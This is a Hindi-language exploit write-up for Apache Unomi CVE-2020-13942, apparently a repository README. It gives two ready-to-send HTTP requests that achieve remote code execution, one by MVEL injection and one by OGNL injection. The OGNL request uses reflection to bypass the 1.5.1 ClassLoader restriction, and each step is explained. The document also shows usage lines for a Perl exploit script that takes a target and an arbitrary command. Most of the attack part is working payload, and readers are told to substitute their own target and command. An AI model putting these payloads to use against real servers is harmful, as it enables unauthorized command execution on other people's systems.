
Apache Unomi CVE-2020-13942: RCE भेद्यताएँ
भेद्यता के बारे में मूल ब्लॉग पोस्ट: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
यहाँ दो RCE वेक्टर हैं: MVEL इंजेक्शन के माध्यम से और OGNL इंजेक्शन के माध्यम से। दोनों वेक्टर अलग-अलग कोड को लक्षित करते हैं, हालाँकि पेलोड अपेक्षाकृत समान दिखते हैं। पिछला CVE फिक्स https://nvd.nist.gov/vuln/detail/CVE-2020-11975 OGNL एक्सप्रेशन के निष्पादन को सीमित करने की कोशिश करता था, लेकिन MVEL को पूरी तरह से अनदेखा कर दिया। CVE-2020-13942 1.5.1 संस्करण में किए गए फिक्स को बायपास करता है।
Unomi सर्वर द्वारा एक्सपोज़ किए गए context.js\json पर निम्नलिखित HTTP अनुरोध BurpSuite या curl का उपयोग करके भेजें और RCE प्राप्त करें। अपने लक्ष्य URL और OS कमांड के अनुसार Host और Content-length बदलें।
दोनों POC को प्रतिक्रिया में HTTP/1.1 400 Header Folding मिल सकता है, जिसका अर्थ है कि पेलोड में \r\n गड़बड़ हो गए हैं, इसे एक बार फिर से कॉपी-पेस्ट करने का प्रयास करें।
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
OGNL POC ने 1.5.1 संस्करण द्वारा शुरू की गई ClassLoader प्रतिबंध को बायपास कर दिया। Java रिफ्लेक्शन API का उपयोग करके ClassLoader.loadClass विधि को ट्रिगर किए बिना एक ऑब्जेक्ट बनाना संभव है, जो मूल्यांकन किए गए OGNL एक्सप्रेशन को प्रतिबंधित करती है।
पेलोड OGNL एक्सप्रेशन का विवरण:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") एक java.lang.Runtime Class ऑब्जेक्ट बनाता है, जहाँ #this कॉन्टेक्स्ट ऑब्जेक्ट का संदर्भ है।#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] रिफ्लेक्शन के माध्यम से Runtime क्लास की विधियों की सूची प्राप्त करता है और सूची में से getRuntime विधि चुनता है। एक्सप्रेशन का {^ #this.name.equals(\"getRuntime\")} भाग getRuntime नाम वाली एक Method की खोज करता है और शर्त से मेल खाने वाली Methods की एक सूची लौटाता है; इस सूची की पहली और एकमात्र Method getRuntime है।#runtimeobject = #runtimemethod.invoke(null,null) getRuntime() विधि को कॉल करता है और Runtime ऑब्जेक्ट प्राप्त करता है।(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) Runtime क्लास की विधियों को प्राप्त करता है और विधि सूची में से एक single String तर्क के साथ Runtime.exec() को पुनर्प्राप्त करता है।#execmethod.invoke(#runtimeobject,\"gnome-calculator\") निर्दिष्ट तर्क के साथ Runtime.exec() को कॉल करता है।POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
मूल उपयोग:
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
इस पृष्ठ पर दी गई सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए है। इस वेबसाइट पर दी गई जानकारी का उपयोग केवल आपके कंप्यूटर सिस्टम की सुरक्षा बढ़ाने के लिए किया जाना चाहिए, न कि दुर्भावनापूर्ण या हानिकारक हमले करने के लिए।
आपको इस जानकारी का दुरुपयोग करके कंप्यूटर सिस्टम में अनधिकृत पहुँच प्राप्त नहीं करनी चाहिए। साथ ही यह भी ध्यान रखें, जिन कंप्यूटरों के स्वामी आप नहीं हैं, उन पर मालिकों से लिखित अनुमति के बिना हैकिंग प्रयास करना अवैध है।
इस वेबसाइट पर दी गई जानकारी के उपयोग के कारण होने वाली किसी भी प्रत्यक्ष या अप्रत्यक्ष क्षति के लिए मैं ज़िम्मेदार नहीं होगा/होगी।